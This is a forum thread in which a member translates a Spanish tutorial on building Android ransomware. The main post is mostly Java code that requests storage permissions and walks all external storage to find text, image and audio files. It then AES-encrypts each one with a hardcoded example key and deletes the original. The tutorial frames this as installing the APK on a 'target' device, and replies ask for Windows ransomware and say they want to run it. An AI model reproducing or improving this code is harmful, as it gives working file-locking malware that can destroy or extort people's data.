Creating ransomware for Android


#1

Recently, I’ve been reading an article by user_en1gm4 (Underc0de) on how to create an ransomware for Android and found it quite interesting and wanted to share it, it is a translation simply.

Author Assigned Level: Newbie, Wannabe, Hacker, Wizard, Guru

Community Assigned Level:

  • Newbie
  • Wannabe
  • Hacker
  • Wizard
  • Guru

0 voters

Required Skills

  • Knowledge of Java and Android.

Ransomware is a type of malicious software from cryptovirology that threatens to publish the victim’s data or perpetually block access to it unless a ransom is paid. While some simple ransomware may lock the system in a way which is not difficult for a knowledgeable person to reverse, more advanced malware uses a technique called cryptoviral extortion, in which it encrypts the victim’s files, making them inaccessible, and demands a ransom payment to decrypt them. Wikipedia

In this guide we will see how to create a ransomware, with the help of the AES encryption algorithm which will allow to encrypt all the files.

Starting the laboratory

The first thing we must do is open Android Studio and create a new project, we create an EmptyActivity with its class:

We create an EditText and two buttons with the following code:

<TextView
     android:id="@+id/textView4"
     android:layout_width="match_parent"
     android:layout_height="wrap_content"
     android:layout_gravity="center_vertical|center_horizontal|center"
     android:fontFamily="monospace"
     android:text="Contraseña"
     android:textSize="18sp" />
<EditText
     android:id="@+id/clavesita"
     android:layout_width="match_parent"
     android:layout_height="wrap_content"
     android:ems="10"
     android:inputType="textPassword" />
<Button
     android:id="@+id/boton1"
     android:layout_width="match_parent"
     android:layout_height="wrap_content"
     android:text="Encriptar" />
<Button
     android:id="@+id/boton2"
     android:layout_width="match_parent"
     android:layout_height="wrap_content"
     android:text="Desencriptar" />

We will get as result:

From here, the fun begins; we must pay close attention to the “details”.

We must obtain permissions in the manifest and in execution time, using the version of Marshmallow, we go to the folder and double click on the file AndroidManifest.xml modifying the following:

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

We go to the class that we have created next to the EmptyActivity (the one used is called MainActivity) and we ask for execution permissions:

//Verificamos si ya tiene permisos
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
    && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) { 
    Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();
//Ya tenemos los permisos necesarios
//Podemos proceder a trabajar con la memoria de el celular
  } else{
//Si no tenemos permisos, creare una funcion para pedirlos
   PedirPermisos();
}

outside of the OnCreate method we define the RequestPermises function:

public void PedirPermisos() {
     if (ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.READ_EXTERNAL_STORAGE)) {
     Toast.makeText(this, "Se necesitan permisos", Toast.LENGTH_SHORT).show();
     }
     ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE},
     MY_PERMISSIONS_REQUEST);
 }

As we must know the user’s response, we will create our own version of the onRequestPermissionResult function, it will indicate if the user provided the permission or not.

@Override
public void onRequestPermissionsResult(int requestCode,
String permissions[], int[] grantResults) {
  if (requestCode == MY_PERMISSIONS_REQUEST) {
// If request is cancelled, the result arrays are empty.
    if (grantResults.length > 0
    && grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) {
    Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();
    } else {
    Toast.makeText(this, "SIN PERMISOS NO SE PUEDE EJECUTAR LA APP", Toast.LENGTH_SHORT).show();
    }
  return;
 }
}

As a partial result, because we have not finished yet; we will obtain the following:

We proceed to create the encrypt() functio, detail -you need a parameter key-, it is the key that you use to encrypt the files, it has to be 16 bytes.

In a practical way we will use tr3D0ctaOlajESzU and an address, it is the location of the file.

public void encriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {
//Archivo de entrada(sin encriptar)
File extStore = Environment.getExternalStorageDirectory();
FileInputStream Entrada = new FileInputStream("/" + direccion);
//Archivo de salida(encriptado) su nombre cambia quedaria guardado algo asi = encript_foto.jpg
FileOutputStream Salida = new FileOutputStream(extStore + "/encript_" + nombre);
// Tamaño de la key 16 bytes!
SecretKeySpec sks = new SecretKeySpec(clave.getBytes(), "AES");
// Se crea el Cipher, el encargado de cifrar los streams
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE, sks);
// stream de salida, archivo de salida
CipherOutputStream cos = new CipherOutputStream(Salida, cipher);
// Escribe bytes
int b;
byte[] d = new byte[8];
while ((b = Entrada.read(d)) != -1) {
    cos.write(d, 0, b);
}
//Cierra los stream
cos.flush();
cos.close();
Entrada.close();
//Borra el archivo original
File tmp = new File("/" + direccion);
tmp.delete();
}

And the function decrypt():

public static void desencriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {
  File extStore = Environment.getExternalStorageDirectory();
  FileInputStream Entrada = new FileInputStream("/" + direccion);
  FileOutputStream Salida = new FileOutputStream(extStore + "/decrypt_" + nombre);
  SecretKeySpec sks = new SecretKeySpec(clave.getBytes(), "AES");
  Cipher cipher = Cipher.getInstance("AES");
  cipher.init(Cipher.DECRYPT_MODE, sks);
  CipherInputStream cis = new CipherInputStream(Entrada, cipher);
  int b;
  byte[] d = new byte[8];
  while ((b = cis.read(d)) != -1) {
    Salida.write(d, 0, b);
  }
  Salida.flush();
  Salida.close();
  cis.close();
  //Borra el archivo encriptado
  File tmp = new File("/" + direccion);
  tmp.delete();
}

Having performed the functions encrypt () and decrypt () is to develop a recursive function that runs through all the folders of the device to encrypt the files:

public static ArrayList<File> EncontrarArchivos(File root) {
  ArrayList<File> Archivos = new ArrayList<File>();
  File[] _archivos = root.listFiles();
    if (_archivos != null) {
      for (File lista : _archivos) {
        if (lista.isDirectory() && !lista.isHidden()) {
          Archivos.addAll(EncontrarArchivos(lista));
        } else {
     //Solo permitimos archivos que terminen en . txt .jpg .jpeg y .mp3
          if (lista.getName().endsWith(".txt") || lista.getName().endsWith(".jpg") || lista.getName().endsWith(".jpeg") || 
          lista.getName().endsWith(".png") || lista.getName().endsWith(".mp3")) {
            if (lista.getTotalSpace() > 3) {
 //Si termina en lo que queremos y pesa mas de 3 kb lo agregamos a la lista
            Archivos.add(lista);
            }
          }
        }
     }
   }
 return Archivos;
 }

Having developed the main functions, it remains to program the buttons to encrypt and decrypt. To be able to do this; first we use the developed code where it verifies the permissions and we create the OnClickListener event for each button, when the buttons are clicked, they will execute an action:

//PIDE Y COMPRUEBA PERMISOS EN EJECUCION
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
  && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {
//Referencia botones y demas
  final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
  final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
  final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);
  Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();
  BotonDesencriptar.setOnClickListener(new View.OnClickListener() {
    [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
  public void onClick(View view) {
  try {
    //Lista de archivos encontrados en el sistema
    final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());
      for (int i = 0; i < Archivos.size(); i++) {
      //los mandamos a desenciptar 1 x 1, pasandole el nombre del archivo y su ubicacion, pero primero
      revisamos si esta encriptado, (que en su nombre tenga la palabra "encrypt_"
     int comprobacion = Archivos.get(i).getName().indexOf("encript_");
       if (comprobacion != -1) {
        desencriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());
       }
     }
 }
 //Excepciones necesarias para la funcion de encriptar
 } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
 k.printStackTrace();
   }
  }
 });
 BotonEncriptar.setOnClickListener(new View.OnClickListener() {
 [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
 public void onClick(View view) {
   try {
     final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());
     for (int i = 0; i < Archivos.size(); i++) {
       //los mandamos a encriptar 1 x 1, pasandole el nombre del archivo y su ubicacion
     encriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());
      }
   catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
     k.printStackTrace();
   }
   }
 });
 } else {
 PedirPermisos();
 }
}

We must identify the key that they enter to encrypt or decrypt, with the EditText we ask the user to make the input:

//Referenciamos nuestro objetos en pantalla
final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);

To then read the key:

String clave = EntradaClave.getText().toString();

This is injected into the OnClickListener event of the encrypt button so that when you press the button, perform the job.

After the work done, touch create the Apk.

Installing the apk, encrypting and decrypting.

After creating the Apk, we proceed to install it on the target computer, we create a docs folder that contains a text, music and image file.

We launch the Apk and press the encrypt button:

When trying to perform some action with the files, the mobile device does not recognize the format of the files, preventing them from being executed.

Let’s go back to the Apk, and press the button to decrypt:

####Source: https://blog.underc0de.org/creando-ransomware-para-android/


What are you working on?
#2

Hi,

Since this post is a copy-paste technically but in English, please update the very beginning of your post stating that this is a translation and nothing else.

If you made your own little additions (I’ll know cos I’ll translate it myself) state that too.


(kaysu) #3

thanks for translating , anyone can post a link on how to creat windows desktop ransomware for educational prpss ? : )


#4

I suggest coding it in C/C++ (using Android NDK) instead


#5

What does programming in C/C++ offer?


(oaktree) #6

@REal0day


(Ringo) #7

Looks very promising i need to run it


#8